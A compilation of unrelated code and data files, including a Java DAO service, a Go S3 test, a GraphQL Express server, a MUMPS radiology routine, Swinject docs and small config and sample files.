            EventTypeEntity eventTypeEntity = convertEvent_TypeToEntity(eventType);
            dao.create(eventTypeEntity);
            return true;
        }
        catch (Exception e)
        {
            LOG.error("Failed to add eventType");
            e.printStackTrace();
        }

        return false;
    }

    /**
     * @param eventType
     *            if a null object parameter is passed to method, nothing will happen
     * @return true in case of operation success
     */
    public boolean updateEventType(EventType eventType)
    {
        if (eventType == null)
        {
            return false;
        }
        try
        {
            EventTypeEntity eventTypeEntity = convertEvent_TypeToEntity(eventType);
            dao.update(eventTypeEntity);
            return true;
        }
        catch (Exception e)
        {
            LOG.error("Failed to update eventType");
            e.printStackTrace();
        }

        return false;
    }

    /**
     * @param eventType
     *            if a null object parameter is passed to method, nothing will happen
     * @return true in case of operation success
     */
    public boolean deleteEventType(EventType eventType)
    {
        if (eventType == null)
        {
            return false;
        }

        try
        {
            EventTypeEntity eventTypeEntity = convertEvent_TypeToEntity(eventType);
            dao.delete(eventTypeEntity);
            return true;
        }
        catch (Exception e)
        {
            LOG.error("Failed to delete eventType");
            e.printStackTrace();
        }
        return false;
    }

    /**
     * @return null if there is no eventTypes in table
     */
    public List<EventType> getAllEventTypes()
    {
        List<EventType> result = new ArrayList<EventType>();

        List<EventTypeEntity> eventTypesEntity = dao.getAllEventTypes();

        if (CollectionUtils.isEmpty(eventTypesEntity))
        {
            LOG.error("NULL reference for eventType");
            return result;
        }

        for (EventTypeEntity data : eventTypesEntity)
        {
            EventType eventType = convertEntityToEvent_Type(data);
            result.add(eventType);
        }
        return result;
    }

    /**
     * @return null if there is no entry for such id
     */
    public EventType getEventTypeById(Integer id)
    {
        EventType result = null;

        try
        {
            EventTypeEntity eventTypeEntity = (EventTypeEntity)dao.getById(id);
            if (eventTypeEntity != null)
            {
                result = convertEntityToEvent_Type(eventTypeEntity);
            }
        }
        catch (Exception ex)
        {
            LOG.error(String.format("Error loading eventType by id=%s", id), ex);
        }

        return result;
    }

    public EventType getEventTypeByName(String name) {
    	EventType result = null;

        try
        {
            EventTypeEntity eventTypeEntity = (EventTypeEntity)dao.getByName(name);
            if (eventTypeEntity != null)
            {
                result = convertEntityToEvent_Type(eventTypeEntity);
            }
        }
        catch (Exception ex)
        {
            LOG.error(String.format("Error loading eventType by name=%s", name), ex);
        }

        return result;
    }

    private EventType convertEntityToEvent_Type(EventTypeEntity entity)
    {
        return MapperService.getInstance().map(entity, EventType.class);
    }

    private EventTypeEntity convertEvent_TypeToEntity(EventType eventType)
    {
        return MapperService.getInstance().map(eventType, EventTypeEntity.class);
    }

}


text:
package s3store_test

import (
	"bytes"
	"fmt"
	"net/http"
	"net/http/httptest"
	"path/filepath"
	"strings"
	"testing"
)

import (
	. "github.com/smartystreets/goconvey/convey"
)

import (
	"github.com/aws/aws-sdk-go/aws"
	"github.com/aws/aws-sdk-go/aws/credentials"
	"github.com/aws/aws-sdk-go/service/s3"
)

import (
	"github.com/xdave/filestore/s3store"
)

var testbucket = "testbucket"
var testkey = "testkey"

func s3TestHandler(t *testing.T) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		switch r.Method {
		case "GET":
			t.Log("GetObject", r.URL.Path)
		case "PUT":
			if strings.Contains(r.URL.Path, testkey) {
				t.Log("PutObject", r.URL.Path)
			} else {
				w.WriteHeader(http.StatusBadRequest)
			}
		default:
			t.Log("Unhandled action:", r.Method, r.URL.Path)
		}
		fmt.Fprintf(w, r.URL.Path)
	}
}

func TestS3(t *testing.T) {
	s3server := httptest.NewServer(http.HandlerFunc(s3TestHandler(t)))
	defer s3server.Close()

	config := aws.Config{
		Credentials:      credentials.NewStaticCredentials("akia", "zing", ""),
		Region:           aws.String("us-east-1"),  // This seems to be required
		Endpoint:         aws.String(s3server.URL), // Here's the magic
		S3ForcePathStyle: aws.Bool(true),           // And here
	}
	service := s3.New(&config)

	Convey("NewFileStore() should return a non-nil FileStore", t, func() {
		fs := s3store.NewFileStore(service)
		So(fs, ShouldNotBeNil)
		Convey("Bucket() should return a non-nil Bucket", func() {
			bucket := fs.Bucket(testbucket)
			So(bucket, ShouldNotBeNil)
			Convey("Bucket.Key() should return a non-nil Key", func() {
				key := bucket.Key(testkey)
				So(key, ShouldNotBeNil)
				Convey("Key.GetURI() should return a proper URI", func() {
					uri := key.GetURI()
					expected := filepath.Join(testbucket, testkey)
					So(uri, ShouldNotBeNil)
					So(uri.Path, ShouldContainSubstring, expected)
				})
				Convey("Key.Upload() should work", func() {
					testdata := []byte("This is a test")
					reader := bytes.NewReader(testdata)
					uri, err := key.Upload(reader)
					So(err, ShouldBeNil)
					So(uri, ShouldNotBeEmpty)
				})
			})
			Convey("Key.Upload() upload failure", func() {
				key := bucket.Key("")
				testdata := []byte("asdf")
				reader := bytes.NewReader(testdata)
				uri, err := key.Upload(reader)
				So(err, ShouldNotBeNil)
				So(uri, ShouldBeEmpty)
			})
		})
	})
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>

    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%date{ISO8601} [%-5level] %logger - %msg%n</pattern>
        </encoder>
    </appender>

    <logger name="org.apache.cassandra" level="DEBUG" />
    <logger name="com.datastax.driver" level="DEBUG" />

    <logger name="akka.cluster" level="DEBUG" />
    <logger name="akka.persistence" level="DEBUG" />
    <logger name="com.lightbend.lagom.internal.testkit" level="DEBUG" />

    <root level="INFO">
        <appender-ref ref="STDOUT" />
    </root>

</configuration>


text:
// vid15.js <-> .src/node15.js
'use strict';

const { nodeInterface, nodeField } = require('./src/node15');

const {
    globalIdField,
    connectionDefinitions,
    connectionFromPromisedArray,
    connectionArgs,
    mutationWithClientMutationId,
} = require('graphql-relay');

const express  = require('express');

const graphqlHTTP  = require("express-graphql");

const {
    GraphQLSchema,
    GraphQLObjectType,
    GraphQLInputObjectType,
    GraphQLList,
    GraphQLID,
    GraphQLString,
    GraphQLInt,
    GraphQLBoolean,
    GraphQLNonNull
} = require('graphql');

const PORT = process.env.port || 3000;

const server = express();

const { getVideoById, getVideos, createVideo } = require('./src/data');

const videoType = new GraphQLObjectType({
    name: 'Video',
    description: 'A video on egghead.io',
    fields: {
        id: globalIdField(),
        title: {type: GraphQLString, description: 'The title of the video.'},
        duration: {type: GraphQLInt, description: 'the duration of the vodeo (in seconds).'},
        watched: {type: GraphQLBoolean, description: 'Whether or not the viewer has watched the video.'},
        released: {type: GraphQLBoolean, description: 'Whether or not the video is released'},
    },
    interfaces: [nodeInterface],
});
exports.videoType = videoType;

const { connectionType: VideoConnection } = connectionDefinitions({
    nodeType: videoType,
    connectionFields: () => ({
        totalCount: {
            type: GraphQLInt,
            description: 'A count oof the total number of objects in this connection',
            resolve: (conn) => {return conn.edges.length;},
        },
    }),
});

const queryType = new GraphQLObjectType({
    name: 'queryType',
    description: 'The root query type.',
    fields: {
        node: nodeField,
        videos: {
            type: VideoConnection,
            args: connectionArgs,
            resolve: (_, args) => connectionFromPromisedArray(getVideos(), args),
        },
        video: {
            type: videoType,
            args: {
                id: {
                    type: new GraphQLNonNull(GraphQLID),
                    description: 'The id of the video.'
                }
            },
            resolve: (_, args) => {
                return getVideoById(args.id);
            }

        }
    }
});

const videoMutation = mutationWithClientMutationId({
    name: 'AddVideo',
    inputFields: {
        title: {
            type: new GraphQLNonNull(GraphQLString),
            description: 'The title of the video.'
        },
        duration: {
            type: new GraphQLNonNull(GraphQLInt),
            description: 'The duration of the video (in seconds)'
        },
        released: {
            type: new GraphQLNonNull(GraphQLBoolean),
            description: 'Whether or not the video is released.'
        },
    },
    outputFields: {
        video: {
            type: videoType,
        },
    },
    mutateAndGetPayload: (args) => new Promise((resolve, reject) => {
        Promise
            .resolve(createVideo(args))
            .then( (video) => resolve({video}) )
            .catch(reject)
        ;
    }),
});

const mutationType = new GraphQLObjectType({
    name: 'Mutation',
    description: 'The root mutation type.',
    fields: {
        createVideo: videoMutation,
    }
});

const schema = new GraphQLSchema({
    query: queryType,
    mutation: mutationType
});

server.use('/graphql', graphqlHTTP({
    schema,
    graphiql: true
}));

server.listen(PORT, () => {
    console.log(`Listening on http://localhost:${PORT}`);
});

/*
call:        node vid15
returns:     Listening on http://localhost:3000

open in browser with http://localhost:3000/graphql

Query:
======
mutation AddVideoQuery($input: AddVideoInput!){
    createVideo(input: $input){
        video {
            title
        }
    }
 }

Query Variables:
================
{
    "input": {
        "title": "Relay Video Title",
        "duration": 300,
        "released": false
    }
}

GraphiQL Result (should be):
============================
{
    "data": {
        "createVideo": {
            "video": {
                "title": "Relay Video Title"
            }
        }
    }
}
*/


text:
<?xml version='1.0' encoding='UTF-8'?>
<Document>
  <Header>
    <SchemaName>Location</SchemaName>
    <Identifier>location_geonames_2754078</Identifier>
    <DocumentState>public</DocumentState>
    <TimeStamp>1390753461293</TimeStamp>
    <SummaryFields>
      <Title>NL > North Brabant > Hild</Title>
    </SummaryFields>
  </Header>
  <Body>
    <Location>
      <GeopoliticalHierarchy>NL,North Brabant,Hild</GeopoliticalHierarchy>
      <LocationName>
        <Appelation>Hild</Appelation>
        <LocationNameType>populated place</LocationNameType>
        <Comments></Comments>
      </LocationName>
      <Coordinates>
        <Longitude>5.19722</Longitude>
        <Latitude>51.53917</Latitude>
      </Coordinates>
      <GeonamesURI>http://www.geonames.org/2754078</GeonamesURI>
      <WikipediaLink/>
      <DbpediaLink/>
    </Location>
  </Body>
</Document>


text:
RASETU ;HISC/DAD-Determine Order Status for an Exam Set ;11 Apr 2018 12:07 PM
 ;;5.0;Radiology/Nuclear Medicine;**15,124**;Mar 16, 1998;Build 4
 ;
 ;Routine reads through all cases generated from a single order
 ;to gather information about the case statuses needed to determine
 ;what status the order should be updated to
 ;Input:   RADFN=Patient ien     <->     RAOIFN=order IEN
 ;Output:  RASTATUS array with status info about exam set passed back
 ;         format: min status_"^"_max status_"^"_$S(All_Statuses=0:1,1:0)
EN1(RAOIFN,RADFN) ;
 Q:'($D(^RADPT("AO",RAOIFN,RADFN))\10) "^^"
 ; save current RACNI so we'd know which exam to skip
 ; in the loop below if Exam Deletion is being processed, because
 ; 1. the exam node hasn't been killed off yet,
 ; 2. the exam node may have a non-cancelled exam status,
 ;    which would throw off the loop calculation below
 ;
 ; if called from the RA CANCEL option skip the exam
 ; we intend to cancel b/c at this time it does not
 ; have a exam status value of cancelled. The exam
 ; will be updated to a cancelled exam status just
 ; before the option has completed  (patch 124)
 ;
 ;
 N RACNISAV S RACNISAV=$G(RACNI)
 ;
 N RACNI,RADTI,RAORDER,RAPROC,RASTATUS
 S RAORDER=$G(^RAO(75.1,RAOIFN,0))
 I RAORDER="" Q "^^"
 S RAPROC=+$P(RAORDER,U,2) ;             Procedure IEN
 S RASTATUS("ORD")=$P(RAORDER,U,5) ;     Initial status
 S RASTATUS("MAX")=-1 ;                  Largest status found
 S RASTATUS("MIN")=10 ;                  Smallest non-zero status found
 S RASTATUS("NUL")=1 ;                   $S(All_Statuses=0:1,1:0)
 ;
 S RADTI=0
 F  S RADTI=$O(^RADPT("AO",RAOIFN,RADFN,RADTI)) Q:RADTI'>0  D
 . S RACNI=0
 . F  S RACNI=$O(^RADPT("AO",RAOIFN,RADFN,RADTI,RACNI)) Q:RACNI'>0  D
 .. I $D(RADELFLG),RACNISAV=RACNI Q  ;skip if Exam Deletion
 .. ;the variable RACAN124 is set in the ENTRY ACTION field of the [RA
 .. ;CANCEL] record in the OPTION file (killed in EXIT ACTION field)
 .. I $D(RACAN124),RACNISAV=RACNI Q  ;p124
 .. S RASTATUS=+$P($G(^RADPT(RADFN,"DT",RADTI,"P",RACNI,0)),U,3)
 .. S RASTATUS(0)=$P($G(^RA(72,RASTATUS,0)),U,3) Q:RASTATUS(0)=""
 .. I RASTATUS(0)>RASTATUS("MAX") S RASTATUS("MAX")=RASTATUS(0)
 .. I (RASTATUS(0)),(RASTATUS(0)<RASTATUS("MIN")) D
 ... S RASTATUS("MIN")=RASTATUS(0)
 ... Q
 .. I RASTATUS(0)>0 S RASTATUS("NUL")=0
 .. Q
 . Q
 Q RASTATUS("MIN")_"^"_RASTATUS("MAX")_"^"_RASTATUS("NUL")
 ;
PARNT(RAOIFN,RADFN) ; Based on the patient and the order number, determine
 ;                 if the exams are part of an exam set.
 ;  Input: 'RAOIFN' -> Order #            'RADFN' -> Patient ien
 ; Output: $S(Exam Set:1,1:0)
 ;
 Q:'($D(^RADPT("AO",RAOIFN,RADFN))\10) 0
 N RADTI,RARXM
 S RADTI=+$O(^RADPT("AO",RAOIFN,RADFN,0)) Q:'RADTI 0
 S RARXM(0)=$G(^RADPT(RADFN,"DT",RADTI,0))
 Q +$P(RARXM(0),"^",5)


text:
package com.ciandt.cursoandroid.worldwondersapp.entity;

import android.database.Cursor;

import com.ciandt.cursoandroid.worldwondersapp.database.table.PlaceTable;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.Serializable;

public class Place extends BaseEntity implements Serializable {
    public Integer id;
    public String placeName;
    public String placeCountry;
    public String placeDescription;
    public String placeImageUrl;

    public Place(final Cursor cursor) {
        this.id = cursor.getInt(cursor.getColumnIndex(PlaceTable.ID));
        this.placeName = cursor.getString(cursor.getColumnIndex(PlaceTable.PLACE_NAME));
        this.placeCountry = cursor.getString(cursor.getColumnIndex(PlaceTable.PLACE_COUNTRY));
        this.placeDescription = cursor.getString(cursor.getColumnIndex(PlaceTable.PLACE_DESCRIPTION));
        this.placeImageUrl = cursor.getString(cursor.getColumnIndex(PlaceTable.PLACE_IMAGE_URL));
    }

    public Place(final JSONObject jsonObject) throws JSONException {
        this.id = this.getInteger(jsonObject, PlaceTable.JSON_ID);
        this.placeName = this.getString(jsonObject, PlaceTable.JSON_PLACE_NAME);
        this.placeCountry = this.getString(jsonObject, PlaceTable.JSON_PLACE_COUNTRY);
        this.placeDescription = this.getString(jsonObject, PlaceTable.JSON_PLACE_DESCRIPTION);
        this.placeImageUrl = this.getString(jsonObject, PlaceTable.JSON_PLACE_IMAGE_URL);
    }

    @Override
    public String toString() {
        StringBuffer stringBuffer = new StringBuffer();
        stringBuffer.append(id).append(" ").append(placeName).append(" ").append(placeCountry).append(" ").append(placeDescription).append(" ").append(placeImageUrl);
        return stringBuffer.toString();
    }
}


text:
set -o errexit
set -o nounset
set -o pipefail

# shellcheck source=/dev/null
source "$(dirname "$0")/utils.sh"

# cd to the root path
cd_root_path

# exit code, if a script fails we'll set this to 1
res=0

# run all verify scripts, optionally skipping any of them

if [[ "${VERIFY_WHITESPACE:-true}" == "true" ]]; then
  echo "[*] Verifying whitespace..."
  hack/verify-whitespace.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_SPELLING:-true}" == "true" ]]; then
  echo "[*] Verifying spelling..."
  hack/verify-spelling.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_BOILERPLATE:-true}" == "true" ]]; then
  echo "[*] Verifying boilerplate..."
  hack/verify-boilerplate.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_GOFMT:-true}" == "true" ]]; then
  echo "[*] Verifying gofmt..."
  hack/verify-gofmt.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_GOLINT:-true}" == "true" ]]; then
  echo "[*] Verifying golint..."
  hack/verify-golint.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_GOVET:-true}" == "true" ]]; then
  echo "[*] Verifying govet..."
  hack/verify-govet.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_UPDATE_WORKFLOWS:-true}" == "true" ]]; then
  echo "[*] Verifying updated workflows..."
  hack/verify-update-workflows.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_WORKFLOWS:-true}" == "true" ]]; then
  echo "[*] Verifying workflows..."
  hack/verify-workflows.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_DEPS:-true}" == "true" ]]; then
  echo "[*] Verifying deps..."
  hack/verify-deps.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_STATICCHECK:-true}" == "true" ]]; then
  echo "[*] Verifying staticcheck..."
  hack/verify-staticcheck.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_GOTEST:-true}" == "true" ]]; then
  echo "[*] Verifying gotest..."
  hack/verify-gotest.sh || res=1
  cd_root_path
fi

if [[ "${VERIFY_BUILD:-true}" == "true" ]]; then
  echo "[*] Verifying build..."
  hack/verify-build.sh || res=1
  cd_root_path
fi

# exit based on verify scripts
if [[ "${res}" = 0 ]]; then
  echo ""
  echo "All verify checks passed, congrats!"
else
  echo ""
  echo "One or more verify checks failed! See output above..."
fi
exit "${res}"


text:
Circular Dependencies are dependencies of instances that depend on each other. To define Circular Dependencies by Swinject, either of the dependencies must be injected through the property.

## Initializer/Property Dependencies

Assume that you have `Parent` and `Child` classes depending on each other. `Parent` depends on `ChildType` through its initializer, and `Child` on `ParentType` through its property. The back-reference from `Child` to `ParentType` is a weak property to avoid memory leak.

    protocol ParentType: AnyObject { }
    protocol ChildType: AnyObject { }

    class Parent: ParentType {
        let child: ChildType?

        init(child: ChildType?) {
            self.child = child
        }
    }

    class Child: ChildType {
        weak var parent: ParentType?
    }

The Circular Dependencies are defined as below.

    let container = Container()
    container.register(ParentType.self) { r in
        Parent(child: r.resolve(ChildType.self)!)
    }
    container.register(ChildType.self) { _ in Child() }
        .initCompleted { r, c in
            let child = c as! Child
            child.parent = r.resolve(ParentType.self)
        }

Here the injection to the `parent` property of `Child` must be specified in the `initCompleted` callback to get rid of infinite recursive calls.

## Property/Property Dependencies

Similarly, assume that you have the following classes depending through each property.

    protocol ParentType: AnyObject { }
    protocol ChildType: AnyObject { }

    class Parent: ParentType {
        var child: ChildType?
    }

    class Child: ChildType {
        weak var parent: ParentType?
    }

The Circular Dependencies are defined as below.

        let container = Container()
        container.register(ParentType.self) { r in
            let parent = Parent()
            parent.child = r.resolve(ChildType.self)!
            return parent
        }
        container.register(ChildType.self) { _ in Child() }
            .initCompleted { r, c in
                let child = c as! Child
                child.parent = r.resolve(ParentType.self)
            }

Here the both or either of the depending properties must be specified in the `initCompleted` callback to get rid of infinite recursive calls.

## Initializer/Initializer Dependencies

Not supported. This type of dependencies causes infinite recursive calls.

_[Next page: Object Scopes](ObjectScopes.md)_

_[Table of Contents](README.md)_


text:
def delete_job project_id:, location_id:, job_name:
  # [START cloud_scheduler_create_job]
  require "google/cloud/scheduler"

  # Create a client.
  client = Google::Cloud::Scheduler.cloud_scheduler

  # TODO(developer): Uncomment and set the following variables
  # project_id = "PROJECT_ID"
  # location_id = "LOCATION_ID"
  # service_id = "my-serivce"

  # Construct the fully qualified location path.
  job = client.job_path project: project_id, location: location_id, job: job_name

  # Use the client to send the job deletion request.
  client.delete_job name: job

  puts "Job deleted."
  # [END cloud_scheduler_create_job]
end


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<title>com.badlogic.gdx.android (libgdx API)</title>
<meta name="date" content="2013-05-14">
<link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style">

com.badlogic.gdx.android

Interfaces

AndroidWallpaperListener